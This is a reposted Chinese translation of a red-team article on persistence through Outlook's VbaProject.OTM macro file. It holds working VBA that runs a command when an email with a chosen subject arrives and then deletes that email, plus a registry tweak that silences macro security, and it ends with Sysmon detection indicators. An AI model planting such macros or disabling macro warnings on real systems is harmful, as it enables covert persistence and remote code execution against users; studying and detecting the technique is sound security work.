基于Outlook邮件的持久化技术
2021-1-4 10:32:22 Author: mp.weixin.qq.com(查看原文) 阅读量:1 收藏

01

介绍

低权限用户持久化技术非常有价值。我们一直喜欢研究新奇的技术,这些技术很少有人涉猎,蓝队对它们也很感兴趣。本文将讲到Outlook的持久化技术,但目前,很多蓝队没有关注该技术。

此前,已经有多位研究人员研究过基于 Outlook 的持久化这个话题,包括Dave Hartley和Nick Landers,他们详细介绍了如何使用Outlook规则来实现持久化。

但在本文中,我们会重点介绍使用Outlook的VbsProject.OTM文件,通过不同的操作来实现相似的结果。虽然这个技术尚未得到普及,但之前Cobalt Kitty就把它当作命令和控制通道用过。

02

分析

与大多数Microsoft Office产品一样,Outlook能够启用“开发人员”选项卡,通过VB编辑器创建基于VBA的宏。打开编辑器,创建一个简单的宏,就能找到一个名为“ ThisOutlookSession”的Outlook特定模块:

保存这个宏会导致%APPDATA%\Roaming\Microsoft\Outlook目录创建VbaProject.OTM文件:

但是,以默认配置执行宏会失败,默认配置为“数字签名宏的通知,所有其他宏均已禁用”。

利用以下值创建安全性注册表项来修改这个配置:

Level值用以下值定义宏安全性配置:

4 = 在不弹出通知的情况下禁用所有宏

3 = 如果有数字签名的宏,则弹出通知,禁用其他宏

2 = 给所有宏弹出通知

1 = 启用所有宏

若要宏不通知用户,隐蔽运行,需要设置Level值,在操作期间启用所有宏。

检查VbaProject.OTM文件时,我们发现它是标准的Microsoft复合文档文件(CDF):

dmc@deathstar ~  ✗ file ~/VbaProject.OTMVbaProject.OTM: Composite Document File V2 Document, Cannot read section info

进一步的分析oledump.py,发现它包含宏代码的OLE流:

dmc@deathstar ~  ✗ python oledump.py ~/VbaProject.OTM  1:        43 'OutlookProjectData'  2:       388 'OutlookVbaData/PROJECT'  3:        59 'OutlookVbaData/PROJECTwm'  4: M    6156 'OutlookVbaData/VBA/ThisOutlookSession'  5:      2663 'OutlookVbaData/VBA/_VBA_PROJECT'  6:       497 'OutlookVbaData/VBA/dir'

现在,我们知道VbaProject.OTM是启用了标准OLE宏的文档,所以,创建、混淆、清除和重载这些文件的传统工具和技术仍然适用。如果把它拖放到磁盘上,要确保其静态安全。

接下来,我们会深入研究如何持久化和武器化。

03

武器化

把VBA代码作为事件的结果执行。ThisOutlookSession模块能让我们订阅Outlook里的不同事件,有不同的机会执行代码。

持久化可能包括由用户驱动的某些事件(例如,打开Outlook),或者由攻击者决定的某些事件(例如接收特定邮件)。在演示武器化时,我们会重点讨论后者,并说明如何利用带有特定主题的邮件来执行任意VBA。

若要设置收到新邮件的时间,可以在Outlook启动时,先订阅默认收件箱的事件,这能通过以下方法来实现:在注册事件时,给默认收件箱文件夹(olInboxItems)设置一个变量:

Option ExplicitPrivate WithEvents olInboxItems As ItemsPrivate Sub Application_Startup()    Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).ItemsEnd Sub

然后,利用用户对收件箱的引用,在新邮件到达时,借助“ ItemAdd ”回调函数接收事件:

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)End Sub

我们只关注电子邮件的接受,所以需要优化回调,让它仅触发新的邮件项目。这要验证条目,确保其类型为“ MailItem ”:

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)      If TypeOf Item Is MailItem Then        MsgBox "You have mail"    End IfEnd Sub

如果不希望在每个接收到的邮件上执行,可以用电子邮件地址,主题,正文内容等条件来过滤接收到的邮件。扩展上述代码,当收到特定主题(MailItem.Subject)的邮件时,执行代码,随后用MailItem.Delete方法删除电子邮件:

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)    On Error Resume Next    Dim olMailItem As MailItem    If TypeOf Item Is MailItem Then       If InStr(olMailItem.Subject, "MDSec") > 0 Then            MsgBox "Hack The Planet"            olMailItem.Delete        End If    End If    Set Item = Nothing    Set olMailItem = NothingEnd Sub

把上述代码放在一起,然后弹出计算器:

Option Explicit
Private WithEvents olInboxItems As Items
Private Sub Application_Startup() Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).ItemsEnd Sub
Private Sub olInboxItems_ItemAdd(ByVal Item As Object) On Error Resume Next Dim olMailItem As MailItem If TypeOf Item Is MailItem Then If InStr(olMailItem.Subject, "MDSec") > 0 Then MsgBox "Hack The Planet" Shell "calc.exe" olMailItem.Delete End If End If Set Item = Nothing Set olMailItem = NothingEnd Sub

弹出计算器只是概念证明,可以利用武器化的方式生成一个 Beacon,具体的实现方式留给各位读者尝试。

04

检测

从终端角度来看,可以通过以下两个关键指标来检测该技术:

1.检测creation/modification events (Sysmon event ID 11) for the %APPDATA%\Roaming\Microsoft\Outlook\VbaProject.OTM文件。

2.检测注册表 HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security 键和 Level 值的创建、修改事件(Sysmon 事件 ID 12)。

本文作者是Dominic Chell。

木星安全实验室(MxLab),由中国网安·广州三零卫士成立,汇聚国内多名安全专家和反间谍专家组建而成,深耕工控安全、IoT安全、红队评估、反间谍、数据保护、APT分析等高级安全领域,木星安全实验室坚持在反间谍和业务安全的领域进行探索和研究。


文章来源: https://mp.weixin.qq.com/s?__biz=MzU1Mzk4Mzc5MA==&mid=2247485619&idx=1&sn=ab449bc8e09857b4437465eb41076962&chksm=fbebc2f2cc9c4be45a332407fa8454bc76a93b0978b9aa0b8f1a86d7592b9dc0cd432b120c07&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh